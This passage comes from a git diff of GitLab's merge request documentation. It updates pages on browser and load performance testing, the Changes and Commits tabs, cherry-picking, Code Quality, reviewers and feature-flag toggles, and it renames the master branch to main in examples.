URL: https://www.sitespeed.io/
SITESPEED_VERSION: 13.2.0
@@ -127,7 +126,7 @@ if the `Total Score` metric degrades by 5 points or more:
include:
template: Verify/Browser-Performance.gitlab-ci.yml
-performance:
+browser_performance:
variables:
URL: https://example.com
DEGRADATION_THRESHOLD: 5
@@ -140,13 +139,13 @@ The `Total Score` metric is based on sitespeed.io's [coach performance score](ht
The above CI YAML configuration is great for testing against static environments, and it can
be extended for dynamic environments, but a few extra steps are required:
-1. The `performance` job should run after the dynamic environment has started.
+1. The `browser_performance` job should run after the dynamic environment has started.
1. In the `review` job:
1. Generate a URL list file with the dynamic URL.
1. Save the file as an artifact, for example with `echo $CI_ENVIRONMENT_URL > environment_url.txt`
in your job's `script`.
1. Pass the list as the URL environment variable (which can be a URL or a file containing URLs)
- to the `performance` job.
+ to the `browser_performance` job.
1. You can now run the sitespeed.io container against the desired hostname and
paths.
@@ -176,7 +175,7 @@ review:
except:
- master
-performance:
+browser_performance:
dependencies:
- review
variables:
@@ -191,7 +190,7 @@ GitLab version:
- In 13.2 the feature was renamed from `Performance` to `Browser Performance` with additional
template CI/CD variables.
-- In GitLab 12.4 [a job template was made available](https://gitlab.com/gitlab-org/gitlab/blob/master/lib/gitlab/ci/templates/Verify/Browser-Performance.gitlab-ci.yml).
+- In GitLab 12.4 [a job template was made available](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Verify/Browser-Performance.gitlab-ci.yml).
- For 11.5 to 12.3 no template is available and the job has to be defined manually as follows:
```yaml
diff --git a/doc/user/project/merge_requests/changes.md b/doc/user/project/merge_requests/changes.md
index adcf4518209..e594f8048e3 100644
--- a/doc/user/project/merge_requests/changes.md
+++ b/doc/user/project/merge_requests/changes.md
@@ -5,7 +5,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w
type: index, reference
---
-# Changes tab in merge requests
+# Changes tab in merge requests **(FREE)**
The **Changes** tab on a [merge request](index.md), below the main merge request details and next to the discussion tab,
shows the changes to files between branches or commits. This view of changes to a
@@ -70,21 +70,6 @@ merge request:
This change overrides the choice you made in your user preferences and persists until you clear your
browser's cookies or change this behavior again.
-## Merge requests commit navigation
-
-> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/18140) in GitLab 13.0.
-
-To seamlessly navigate among commits in a merge request:
-
-1. Select the **Commits** tab.
-1. Select a commit to open it in the single-commit view.
-1. Navigate through the commits by either:
-
- - Selecting **Prev** and **Next** buttons below the tab buttons.
- - Using the <kbd>X</kbd> and <kbd>C</kbd> keyboard shortcuts.
-
-![Merge requests commit navigation](img/commit_nav_v13_11.png)
-
## Incrementally expand merge request diffs
By default, the diff shows only the parts of a file which are changed.
@@ -106,10 +91,6 @@ specific commit page.
![MR diff](img/merge_request_diff.png)
-NOTE:
-You can append `?w=1` while on the diffs page of a merge request to ignore any
-whitespace changes.
-
## Mark files as viewed
> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/51513) in GitLab 13.9.
@@ -149,3 +130,42 @@ To disable it:
```ruby
Feature.disable(:local_file_reviews)
```
+
+## Show merge request conflicts in diff
+
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/232484) in GitLab 13.5.
+> - [Deployed behind a feature flag](../../feature_flags.md), disabled by default.
+> - Disabled on GitLab.com.
+> - Not recommended for production use.
+> - To use in GitLab self-managed instances, ask a GitLab administrator to [enable it](#enable-or-disable-merge-request-conflicts-in-diff). **(FREE SELF)**
+
+This in-development feature might not be available for your use. There can be
+[risks when enabling features still in development](../../feature_flags.md#risks-when-enabling-features-still-in-development).
+Refer to this feature's version history for more details.
+
+To avoid displaying the changes that are already on target branch in the diff,
+we compare the merge request's source branch with HEAD of the target branch.
+
+When there are conflicts between the source and target branch, we show the
+conflicts on the merge request diff as well:
+
+![Example of a conflict shown in a merge request diff](img/conflict_ui_v14_0.png)
+
+### Enable or disable merge request conflicts in diff **(FREE SELF)**
+
+Merge request conflicts in diff is under development and not ready for production use. It is
+deployed behind a feature flag that is **disabled by default**.
+[GitLab administrators with access to the GitLab Rails console](../../../administration/feature_flags.md)
+can enable it.
+
+To enable it:
+
+```ruby
+Feature.enable(:display_merge_conflicts_in_diff)
+```
+
+To disable it:
+
+```ruby
+Feature.disable(:display_merge_conflicts_in_diff)
+```
diff --git a/doc/user/project/merge_requests/cherry_pick_changes.md b/doc/user/project/merge_requests/cherry_pick_changes.md
index eaeef12444e..710638128f3 100644
--- a/doc/user/project/merge_requests/cherry_pick_changes.md
+++ b/doc/user/project/merge_requests/cherry_pick_changes.md
@@ -63,10 +63,7 @@ git cherry-pick -m 2 7a39eb0
### Cherry-pick into a project
> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/21268) in GitLab 13.11.
-> - It's [deployed behind a feature flag](../../feature_flags.md), disabled by default.
-> - It's disabled on GitLab.com.
-> - It's not recommended for production use.
-> - To use it in GitLab self-managed instances, ask a GitLab administrator to [enable it](#enable-or-disable-cherry-picking-into-a-project). **(FREE SELF)**
+> - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/324154) in GitLab 14.0
WARNING:
This feature might not be available to you. Check the **version history** note above for details.
@@ -81,24 +78,10 @@ merge request is from a fork:
1. (Optional) Select **Start a new merge request** if you're ready to create a merge request.
1. Click **Cherry-pick**.
-### Enable or disable cherry-picking into a project **(FREE SELF)**
+## Related links
-Cherry-picking into a project is under development and not ready for production use. It is
-deployed behind a feature flag that is **disabled by default**.
-[GitLab administrators with access to the GitLab Rails console](../../../administration/feature_flags.md)
-can enable it.
-
-To enable it:
-
-```ruby
-Feature.enable(:pick_into_project)
-```
-
-To disable it:
-
-```ruby
-Feature.disable(:pick_into_project)
-```
+- The [Commits API](../../../api/commits.md) enables you to add custom messages
+ to changes you cherry-pick through the API.
<!-- ## Troubleshooting
diff --git a/doc/user/project/merge_requests/code_quality.md b/doc/user/project/merge_requests/code_quality.md
index 284d66dd591..27642a9bd5d 100644
--- a/doc/user/project/merge_requests/code_quality.md
+++ b/doc/user/project/merge_requests/code_quality.md
@@ -1,6 +1,6 @@
---
-stage: Verify
-group: Testing
+stage: Secure
+group: Static Analysis
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: reference, howto
---
@@ -54,20 +54,25 @@ See also the Code Climate list of [Supported Languages for Maintainability](http
> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/267612) in [GitLab Ultimate](https://about.gitlab.com/pricing/) 13.11.
> - [Deployed behind a feature flag](../../../user/feature_flags.md), disabled by default.
> - [Enabled by default](https://gitlab.com/gitlab-org/gitlab/-/issues/284140) in GitLab 13.12.
+> - [Feature enhanced](https://gitlab.com/gitlab-org/gitlab/-/issues/2526) in GitLab 14.0.
Changes to files in merge requests can cause Code Quality to fall if merged. In these cases,
-an indicator is displayed (**{information-o}** **Code Quality**) on the file in the merge request's diff view. For example:
+the merge request's diff view displays an indicator next to lines with new Code Quality violations. For example:
+
+![Code Quality MR diff report](img/code_quality_mr_diff_report_v14.png)
+
+Previously, an indicator was displayed (**{information-o}** **Code Quality**) on the file in the merge request's diff view:
![Code Quality MR diff report](img/code_quality_mr_diff_report_v13_11.png)
-To disable this feature, a GitLab administrator can run the following in a
+To switch to the previous version of this feature, a GitLab administrator can run the following in a
[Rails console](../../../administration/operations/rails_console.md):
```ruby
# For the instance
-Feature.disable(:codequality_mr_diff)
+Feature.disable(:codequality_mr_diff_annotations)
# For a single project
-Feature.disable(:codequality_mr_diff, Project.find(<project id>))
+Feature.disable(:codequality_mr_diff_annotations, Project.find(<project id>))
```
## Use cases
@@ -527,7 +532,7 @@ This can be due to multiple reasons:
- You just added the Code Quality job in your `.gitlab-ci.yml`. The report does not
have anything to compare to yet, so no information can be displayed. It only displays
after future merge requests have something to compare to.
-- Your pipeline is not set to run the code quality job on your default branch. If there is no report generated from the default branch, your MR branch reports have nothing to compare to.
+- Your pipeline is not set to run the code quality job on your target branch. If there is no report generated from the target branch, your MR branch reports have nothing to compare to.
- If no [degradation or error is detected](https://docs.codeclimate.com/docs/maintainability#section-checks),
nothing is displayed.
- The [`artifacts:expire_in`](../../../ci/yaml/README.md#artifactsexpire_in) CI/CD
diff --git a/doc/user/project/merge_requests/commits.md b/doc/user/project/merge_requests/commits.md
new file mode 100644
index 00000000000..1bda12468a3
--- /dev/null
+++ b/doc/user/project/merge_requests/commits.md
@@ -0,0 +1,28 @@
+---
+stage: Create
+group: Code Review
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
+type: index, reference
+---
+
+# Commits tab in merge requests **(FREE)**
+
+The **Commits** tab in a merge request displays a sequential list of commits
+to the Git branch your merge request is based on. From this page, you can review
+full commit messages and copy a commit's SHA when you need to
+[cherry-pick changes](cherry_pick_changes.md).
+
+## Merge requests commit navigation
+
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/18140) in GitLab 13.0.
+
+To seamlessly navigate among commits in a merge request:
+
+1. Select the **Commits** tab.
+1. Select a commit to open it in the single-commit view.
+1. Navigate through the commits by either:
+
+ - Selecting **Prev** and **Next** buttons below the tab buttons.
+ - Using the <kbd>X</kbd> and <kbd>C</kbd> keyboard shortcuts.
+
+![Merge requests commit navigation](img/commit_nav_v13_11.png)
diff --git a/doc/user/project/merge_requests/creating_merge_requests.md b/doc/user/project/merge_requests/creating_merge_requests.md
index ce1dac0a96b..430c6488b26 100644
--- a/doc/user/project/merge_requests/creating_merge_requests.md
+++ b/doc/user/project/merge_requests/creating_merge_requests.md
@@ -168,7 +168,8 @@ Click on **Compare branches and continue** to go to the
After forking a project and applying your local changes, complete the following steps to
create a merge request from your fork to contribute back to the main project:
-1. Go to **Projects > Your Projects** and select your fork of the repository.
+1. On the top bar, select **Menu > Project**.
+1. Select **Your Projects**, then select your fork of the repository.
1. In the left menu, go to **Merge requests**, and click **New merge request**.
1. In the **Source branch** drop-down list box, select your branch in your forked repository as the source branch.
1. In the **Target branch** drop-down list box, select the branch from the upstream repository as the target branch.
diff --git a/doc/user/project/merge_requests/getting_started.md b/doc/user/project/merge_requests/getting_started.md
index 459b8fa56ff..ce39f39f0a1 100644
--- a/doc/user/project/merge_requests/getting_started.md
+++ b/doc/user/project/merge_requests/getting_started.md
@@ -67,8 +67,8 @@ After you have created the merge request, you can also:
- [Discuss](../../discussions/index.md) your implementation with your team in the merge request thread.
- [Perform inline code reviews](reviews/index.md#perform-inline-code-reviews).
- Add [merge request dependencies](merge_request_dependencies.md) to restrict it to be merged only when other merge requests have been merged. **(PREMIUM)**
-- Preview continuous integration [pipelines on the merge request widget](reviews/index.md#pipeline-status-in-merge-requests-widgets).
-- Preview how your changes look directly on your deployed application with [Review Apps](reviews/index.md#live-preview-with-review-apps).
+- Preview continuous integration [pipelines on the merge request widget](widgets.md).
+- Preview how your changes look directly on your deployed application with [Review Apps](widgets.md#live-preview-with-review-apps).
- [Allow collaboration on merge requests across forks](allow_collaboration.md).
- Perform a [Review](reviews/index.md) to create multiple comments on a diff and publish them when you're ready.
- Add [code suggestions](reviews/suggestions.md) to change the content of merge requests directly into merge request threads, and easily apply them to the codebase directly from the UI.
@@ -114,9 +114,6 @@ It is also possible to manage multiple assignees:
### Reviewer
-> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/216054) in GitLab 13.5.
-> - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/245190) in GitLab 13.9.
-
WARNING:
Requesting a code review is an important part of contributing code. However, deciding who should review
your code and asking for a review are no easy tasks. Using the "assignee" field for both authors and
@@ -132,44 +129,7 @@ To request a review of a merge request, expand the **Reviewers** select box in
the right-hand sidebar. Search for the users you want to request a review from.
When selected, GitLab creates a [to-do list item](../../todos.md) for each reviewer.
-#### Approval Rule information for Reviewers **(PREMIUM)**
-
-> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/233736) in GitLab 13.8.
-> - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/293742) in GitLab 13.9.
-
-When editing the **Reviewers** field in a new or existing merge request, GitLab
-displays the name of the matching [approval rule](approvals/rules.md)
-below the name of each suggested reviewer. [Code Owners](../code_owners.md) are displayed as `Codeowner` without group detail.
-
-This example shows reviewers and approval rules when creating a new merge request:
-
-![Reviewer approval rules in new/edit form](img/reviewer_approval_rules_form_v13_8.png)
-
-This example shows reviewers and approval rules in a merge request sidebar:
-
-![Reviewer approval rules in sidebar](img/reviewer_approval_rules_sidebar_v13_8.png)
-
-#### Requesting a new review
-
-> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/293933) in GitLab 13.9.
-
-After a reviewer completes their [merge request reviews](../../discussions/index.md),
-the author of the merge request can request a new review from the reviewer:
-
-1. If the right sidebar in the merge request is collapsed, click the
- **{chevron-double-lg-left}** **Expand Sidebar** icon to expand it.
-1. In the **Reviewers** section, click the **Re-request a review** icon (**{redo}**)
- next to the reviewer's name.
-
-GitLab creates a new [to-do item](../../todos.md) for the reviewer, and sends
-them a notification email.
-
-#### Approval status
-
-> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/292936) in GitLab 13.10.
-
-If a user in the reviewer list has approved the merge request, a green tick symbol is
-shown to the right of their name.
+To learn more, read [Review and manage merge requests](reviews/index.md).
### Merge requests to close issues
@@ -193,7 +153,7 @@ enabled by default for all new merge requests, enable it in the
This option is also visible in an existing merge request next to
the merge request button and can be selected or deselected before merging.
-It is only visible to users with [Maintainer permissions](../../permissions.md)
+It is only visible to users with the [Maintainer role](../../permissions.md)
in the source project.
If the user viewing the merge request does not have the correct
@@ -216,18 +176,18 @@ open merge request, if the destination branch merges while the merge request is
open. Merge requests are often chained in this manner, with one merge request
depending on another:
-- **Merge request 1**: merge `feature-alpha` into `master`.
+- **Merge request 1**: merge `feature-alpha` into `main`.
- **Merge request 2**: merge `feature-beta` into `feature-alpha`.
These merge requests are usually handled in one of these ways:
-- Merge request 1 is merged into `master` first. Merge request 2 is then
- retargeted to `master`.
+- Merge request 1 is merged into `main` first. Merge request 2 is then
+ retargeted to `main`.
- Merge request 2 is merged into `feature-alpha`. The updated merge request 1, which
- now contains the contents of `feature-alpha` and `feature-beta`, is merged into `master`.
+ now contains the contents of `feature-alpha` and `feature-beta`, is merged into `main`.
GitLab retargets up to four merge requests when their target branch is merged into
-`master`, so you don't need to perform this operation manually. Merge requests from
+`main`, so you don't need to perform this operation manually. Merge requests from
forks are not retargeted.
The feature today works only on merge. Clicking the **Remove source branch** button
diff --git a/doc/user/project/merge_requests/img/allow_collaboration.png b/doc/user/project/merge_requests/img/allow_collaboration.png
deleted file mode 100644
index cc13493646d..00000000000
--- a/doc/user/project/merge_requests/img/allow_collaboration.png
+++ /dev/null
Binary files differ
diff --git a/doc/user/project/merge_requests/img/allow_collaboration_after_save.png b/doc/user/project/merge_requests/img/allow_collaboration_after_save.png
deleted file mode 100644
index bc7678b21ec..00000000000
--- a/doc/user/project/merge_requests/img/allow_collaboration_after_save.png
+++ /dev/null
Binary files differ
diff --git a/doc/user/project/merge_requests/img/code_quality_mr_diff_report_v14.png b/doc/user/project/merge_requests/img/code_quality_mr_diff_report_v14.png
new file mode 100644
index 00000000000..a942420d65e
--- /dev/null
+++ b/doc/user/project/merge_requests/img/code_quality_mr_diff_report_v14.png
Binary files differ
diff --git a/doc/user/project/merge_requests/img/commit-button_v13_12.png b/doc/user/project/merge_requests/img/commit-button_v13_12.png
new file mode 100644
index 00000000000..be154b9e60b
--- /dev/null
+++ b/doc/user/project/merge_requests/img/commit-button_v13_12.png
Binary files differ
diff --git a/doc/user/project/merge_requests/img/conflict_ui_v14_0.png b/doc/user/project/merge_requests/img/conflict_ui_v14_0.png
new file mode 100644
index 00000000000..92c532351cb
--- /dev/null
+++ b/doc/user/project/merge_requests/img/conflict_ui_v14_0.png
Binary files differ
diff --git a/doc/user/project/merge_requests/reviews/img/merge_request_pipeline.png b/doc/user/project/merge_requests/img/merge_request_pipeline.png
index ce1d6bab536..ce1d6bab536 100644
--- a/doc/user/project/merge_requests/reviews/img/merge_request_pipeline.png
+++ b/doc/user/project/merge_requests/img/merge_request_pipeline.png
Binary files differ
diff --git a/doc/user/project/merge_requests/reviews/img/project_merge_requests_list_view_v13_5.png b/doc/user/project/merge_requests/img/project_merge_requests_list_view_v13_5.png
index 625d47b1142..625d47b1142 100644
--- a/doc/user/project/merge_requests/reviews/img/project_merge_requests_list_view_v13_5.png
+++ b/doc/user/project/merge_requests/img/project_merge_requests_list_view_v13_5.png
Binary files differ
diff --git a/doc/user/project/merge_requests/img/status_checks_branches_selector_v14_0.png b/doc/user/project/merge_requests/img/status_checks_branches_selector_v14_0.png
new file mode 100644
index 00000000000..65009faf426
--- /dev/null
+++ b/doc/user/project/merge_requests/img/status_checks_branches_selector_v14_0.png
Binary files differ
diff --git a/doc/user/project/merge_requests/img/status_checks_create_form_v14_0.png b/doc/user/project/merge_requests/img/status_checks_create_form_v14_0.png
new file mode 100644
index 00000000000..9e6d6c552e5
--- /dev/null
+++ b/doc/user/project/merge_requests/img/status_checks_create_form_v14_0.png
Binary files differ
diff --git a/doc/user/project/merge_requests/img/status_checks_delete_modal_v14_0.png b/doc/user/project/merge_requests/img/status_checks_delete_modal_v14_0.png
new file mode 100644
index 00000000000..a305f5c73f8
--- /dev/null
+++ b/doc/user/project/merge_requests/img/status_checks_delete_modal_v14_0.png
Binary files differ
diff --git a/doc/user/project/merge_requests/img/status_checks_list_view_v14_0.png b/doc/user/project/merge_requests/img/status_checks_list_view_v14_0.png
new file mode 100644
index 00000000000..6be64112ac6
--- /dev/null
+++ b/doc/user/project/merge_requests/img/status_checks_list_view_v14_0.png
Binary files differ
diff --git a/doc/user/project/merge_requests/img/status_checks_update_form_v14_0.png b/doc/user/project/merge_requests/img/status_checks_update_form_v14_0.png
new file mode 100644
index 00000000000..fcfe16bcd97
--- /dev/null
+++ b/doc/user/project/merge_requests/img/status_checks_update_form_v14_0.png
Binary files differ
diff --git a/doc/user/project/merge_requests/index.md b/doc/user/project/merge_requests/index.md
index f587ab34d11..b5c51c42ae9 100644
--- a/doc/user/project/merge_requests/index.md
+++ b/doc/user/project/merge_requests/index.md
@@ -17,12 +17,93 @@ Merge requests include:
- A comment section for discussion threads.
- The list of commits.
+To get started, read the [introduction to merge requests](getting_started.md).
+
+## Merge request tabs
+
Merge requests contain tabs at the top of the page to help you navigate to
-important parts of the merge request: **Overview**, **Commits**, **Pipelines**, and **Changes**.
+important parts of the merge request:
![Merge request tab positions](img/merge_request_tab_position_v13_11.png)
-To get started, read the [introduction to merge requests](getting_started.md).
+- **Overview**: Contains the description, notifications from pipelines, and a
+ discussion area for [comment threads](../../discussions/index.md#resolvable-comments-and-threads)
+ and [code suggestions](reviews/suggestions.md). The right sidebar provides fields
+ to add assignees, reviewers, labels, and a milestone to your work, and the
+ [merge request widgets area](widgets.md) reports results from pipelines and tests.
+- **Commits**: Contains a list of commits added to this merge request. For more
+ information, read [Commits tab in merge requests](commits.md).
+- **Pipelines**: If configured, contains a list of recent [GitLab CI/CD](../../../ci/README.md)
+ pipelines and their status.
+- **Changes**: Contains the diffs of files changed by this merge request. You can
+ [configure the display](changes.md).
+
+## View merge requests
+
+You can view merge requests for a specific project, or for all projects in a group:
+
+- **Specific project**: Go to your project and select **Merge requests**.
+- **All projects in a group**: Go to your group and select **Merge requests**.
+ If your group contains subgroups, this view also displays merge requests from the subgroup projects.
+ GitLab displays a count of open merge requests in the left sidebar, but
+ [caches the value](reviews/index.md#cached-merge-request-count) for groups with a large number of
+ open merge requests.
+
+GitLab displays open merge requests, with tabs to filter the list by open and closed status:
+
+![Project merge requests list view](img/project_merge_requests_list_view_v13_5.png)
+
+You can [search and filter](../../search/index.md#filtering-issue-and-merge-request-lists),
+the results, or select a merge request to begin a review.
+
+## Merge request sidebar
+
+The **Overview** tab of a merge request displays a sidebar. In this sidebar, you
+can assign, categorize, and track progress on a merge request:
+
+- [**Assignee**](getting_started.md#assignee): Designate the directly responsible
+ individual (DRI) for a merge request. With
+ [multiple assignees](getting_started.md#multiple-assignees), you can assign a
+ merge request to more than one person at a time.
+- [**Reviewer**](reviews/index.md): Designate a team member to review a merge request.
+ Higher tiers can assign multiple reviewers, and [require approvals](approvals/index.md)
+ from these reviewers.
+- [**Milestone**](../milestones/index.md): Track time-sensitive changes.
+- [**Time tracking**](../time_tracking.md): Time spent on a merge request.
+- [**Labels**](../labels.md): Categorize a merge request and display it on
+ appropriate [issue boards](../issue_board.md).
+- **Participants**: A list of users participating or watching a merge request.
+- [**Notifications**](../../profile/notifications.md): A toggle to select whether
+ or not to receive notifications for updates to a merge request.
+
+## Close a merge request
+
+If you decide to permanently stop work on a merge request,
+GitLab recommends you close the merge request rather than
+[delete it](#delete-a-merge-request). Users with
+Developer, Maintainer, or Owner [roles](../../permissions.md) in a project
+can close merge requests in the project:
+
+1. Go to the merge request you want to close.
+1. Scroll to the comment box at the bottom of the page.
+1. Following the comment box, select **Close merge request**.
+
+GitLab closes the merge request, but preserves records of the merge request,
+its comments, and any associated pipelines.
+
+### Delete a merge request
+
+GitLab recommends you close, rather than delete, merge requests.
+
+WARNING:
+You cannot undo the deletion of a merge request.
+
+To delete a merge request:
+
+1. Sign in to GitLab as a user with the project Owner [role](../../permissions.md).
+ Only users with this role can delete merge requests in a project.
+1. Go to the merge request you want to delete, and select **Edit**.
+1. Scroll to the bottom of the page, and select **Delete merge request**.
## Merge request workflows
diff --git a/doc/user/project/merge_requests/load_performance_testing.md b/doc/user/project/merge_requests/load_performance_testing.md
index 865a18a6a05..d1b697add08 100644
--- a/doc/user/project/merge_requests/load_performance_testing.md
+++ b/doc/user/project/merge_requests/load_performance_testing.md
@@ -46,8 +46,8 @@ The key performance metrics that the merge request widget shows after the test c
NOTE:
If the Load Performance report has no data to compare, such as when you add the
Load Performance job in your `.gitlab-ci.yml` for the very first time,
-the Load Performance report widget won't show. It must have run at least
-once on the target branch (`master`, for example), before it will display in a
+the Load Performance report widget doesn't display. It must have run at least
+once on the target branch (`main`, for example), before it displays in a
merge request targeting that branch.
## Configure the Load Performance Testing job
@@ -87,13 +87,13 @@ Refer to the [k6 documentation](https://k6.io/docs/) for detailed information on
When your k6 test is ready, the next step is to configure the load performance
testing job in GitLab CI/CD. The easiest way to do this is to use the
-[`Verify/Load-Performance-Testing.gitlab-ci.yml`](https://gitlab.com/gitlab-org/gitlab/blob/master/lib/gitlab/ci/templates/Verify/Load-Performance-Testing.gitlab-ci.yml)
+[`Verify/Load-Performance-Testing.gitlab-ci.yml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Verify/Load-Performance-Testing.gitlab-ci.yml)
template that is included with GitLab.
NOTE:
For large scale k6 tests you need to ensure the GitLab Runner instance performing the actual
test is able to handle running the test. Refer to [k6's guidance](https://k6.io/docs/testing-guides/running-large-tests#hardware-considerations)
-for spec details. The [default shared GitLab.com runners](../../gitlab_com/#linux-shared-runners)
+for spec details. The [default shared GitLab.com runners](../../../ci/runners/README.md#linux-shared-runners)
likely have insufficient specs to handle most large k6 tests.
This template runs the
@@ -120,7 +120,7 @@ The above example creates a `load_performance` job in your CI/CD pipeline that r
the k6 test.
NOTE:
-For Kubernetes setups a different template should be used: [`Jobs/Load-Performance-Testing.gitlab-ci.yml`](https://gitlab.com/gitlab-org/gitlab/blob/master/lib/gitlab/ci/templates/Jobs/Load-Performance-Testing.gitlab-ci.yml).
+For Kubernetes setups a different template should be used: [`Jobs/Load-Performance-Testing.gitlab-ci.yml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Jobs/Load-Performance-Testing.gitlab-ci.yml).
k6 has [various options](https://k6.io/docs/using-k6/options) to configure how it will run tests, such as what throughput (RPS) to run with,
how long the test should run, and so on. Almost all options can be configured in the test itself, but as
diff --git a/doc/user/project/merge_requests/merge_request_approvals.md b/doc/user/project/merge_requests/merge_request_approvals.md
index 38d6ba062e4..42de04085a9 100644
--- a/doc/user/project/merge_requests/merge_request_approvals.md
+++ b/doc/user/project/merge_requests/merge_request_approvals.md
@@ -1,5 +1,6 @@
---
redirect_to: 'approvals/index.md'
+remove_date: '2021-07-27'
---
This document was moved to [another location](approvals/index.md).
diff --git a/doc/user/project/merge_requests/merge_request_dependencies.md b/doc/user/project/merge_requests/merge_request_dependencies.md
index 4534ce194bf..21282a55ff2 100644
--- a/doc/user/project/merge_requests/merge_request_dependencies.md
+++ b/doc/user/project/merge_requests/merge_request_dependencies.md
@@ -38,7 +38,7 @@ For example, given a project `mycorp/awesome-project` that imports a library
at `myfriend/awesome-lib`, adding a feature in `awesome-project` may **also**
require changes to `awesome-lib`, and so necessitate two merge requests. Merging
the `awesome-project` merge request before the `awesome-lib` one would
-break the `master`branch.
+break the default branch.
The `awesome-project` merge request could be [marked as **Draft**](drafts.md),
and the reason for the draft stated included in the comments. However, this
diff --git a/doc/user/project/merge_requests/merge_when_pipeline_succeeds.md b/doc/user/project/merge_requests/merge_when_pipeline_succeeds.md
index b1da336aae9..6c1e33a9ace 100644
--- a/doc/user/project/merge_requests/merge_when_pipeline_succeeds.md
+++ b/doc/user/project/merge_requests/merge_when_pipeline_succeeds.md
@@ -94,7 +94,7 @@ merge-request-pipeline-job:
```
You should avoid configuration like this, and only use branch (`push`) pipelines
-or merge request pipelines, when possible. See [`rules` documentation](../../../ci/yaml/README.md#avoid-duplicate-pipelines)
+or merge request pipelines, when possible. See [`rules` documentation](../../../ci/jobs/job_control.md#avoid-duplicate-pipelines)
for details on avoiding two pipelines for a single merge request.
### Skipped pipelines
diff --git a/doc/user/project/merge_requests/resolve_conflicts.md b/doc/user/project/merge_requests/resolve_conflicts.md
index 4d5d89d6508..4681ef09388 100644
--- a/doc/user/project/merge_requests/resolve_conflicts.md
+++ b/doc/user/project/merge_requests/resolve_conflicts.md
@@ -39,8 +39,8 @@ highlighted:
After all conflicts have been marked as using 'ours' or 'theirs', the conflict
can be resolved. Resolving conflicts merges the target branch of the merge
request into the source branch, using the options
-chosen. If the source branch is `feature` and the target branch is `master`,
-this is similar to performing `git checkout feature; git merge master` locally.
+chosen. If the source branch is `feature` and the target branch is `main`,
+this is similar to performing `git checkout feature; git merge main` locally.
## Resolve conflicts: inline editor
diff --git a/doc/user/project/merge_requests/reviewing_and_managing_merge_requests.md b/doc/user/project/merge_requests/reviewing_and_managing_merge_requests.md
index 0475996cb9b..b32dce0b230 100644
--- a/doc/user/project/merge_requests/reviewing_and_managing_merge_requests.md
+++ b/doc/user/project/merge_requests/reviewing_and_managing_merge_requests.md
@@ -1,5 +1,6 @@
---
redirect_to: 'reviews/index.md'
+remove_date: '2021-08-03'
---
This document was moved to [another location](reviews/index.md).
diff --git a/doc/user/project/merge_requests/img/reviewer_approval_rules_form_v13_8.png b/doc/user/project/merge_requests/reviews/img/reviewer_approval_rules_form_v13_8.png
index c2aa0689d65..c2aa0689d65 100644
--- a/doc/user/project/merge_requests/img/reviewer_approval_rules_form_v13_8.png
+++ b/doc/user/project/merge_requests/reviews/img/reviewer_approval_rules_form_v13_8.png
Binary files differ
diff --git a/doc/user/project/merge_requests/img/reviewer_approval_rules_sidebar_v13_8.png b/doc/user/project/merge_requests/reviews/img/reviewer_approval_rules_sidebar_v13_8.png
index 3828868965b..3828868965b 100644
--- a/doc/user/project/merge_requests/img/reviewer_approval_rules_sidebar_v13_8.png
+++ b/doc/user/project/merge_requests/reviews/img/reviewer_approval_rules_sidebar_v13_8.png
Binary files differ
diff --git a/doc/user/project/merge_requests/reviews/index.md b/doc/user/project/merge_requests/reviews/index.md
index e98a230c0de..317202e9303 100644
--- a/doc/user/project/merge_requests/reviews/index.md
+++ b/doc/user/project/merge_requests/reviews/index.md
@@ -7,29 +7,14 @@ type: index, reference
# Review and manage merge requests **(FREE)**
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/216054) in GitLab 13.5.
+> - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/245190) in GitLab 13.9.
+
[Merge requests](../index.md) are the primary method of making changes to files in a
GitLab project. [Create and submit a merge request](../creating_merge_requests.md)
-to propose changes. Your team makes [suggestions](suggestions.md) and leaves
-[comments](../../../discussions/index.md). When your work is reviewed, your team
-members can choose to accept or reject it.
-
-## View merge requests
-
-You can view merge requests for a specific project, or for all projects in a group:
-
-- **Specific project**: Go to your project and select **Merge requests**.
-- **All projects in a group**: Go to your group and select **Merge requests**.
- If your group contains subgroups, this view also displays merge requests from the subgroup projects.
- GitLab displays a count of open merge requests in the left sidebar, but
- [caches the value](#cached-merge-request-count) for groups with a large number of
- open merge requests.
-
-GitLab displays open merge requests, with tabs to filter the list by open and closed status:
-
-![Project merge requests list view](img/project_merge_requests_list_view_v13_5.png)
-
-You can [search and filter](../../../search/index.md#filtering-issue-and-merge-request-lists),
-the results, or select a merge request to begin a review.
+to propose changes. Your team leaves [comments](../../../discussions/index.md), and
+makes [code suggestions](suggestions.md) you can accept from the user interface.
+When your work is reviewed, your team members can choose to accept or reject it.
## Bulk edit merge requests at the project level
@@ -136,6 +121,45 @@ If you have a review in progress, you will be presented with the option to **Add
![New thread](img/mr_review_new_comment_v13_11.png)
+### Approval Rule information for Reviewers **(PREMIUM)**
+
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/233736) in GitLab 13.8.
+> - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/293742) in GitLab 13.9.
+
+When editing the **Reviewers** field in a new or existing merge request, GitLab
+displays the name of the matching [approval rule](../approvals/rules.md)
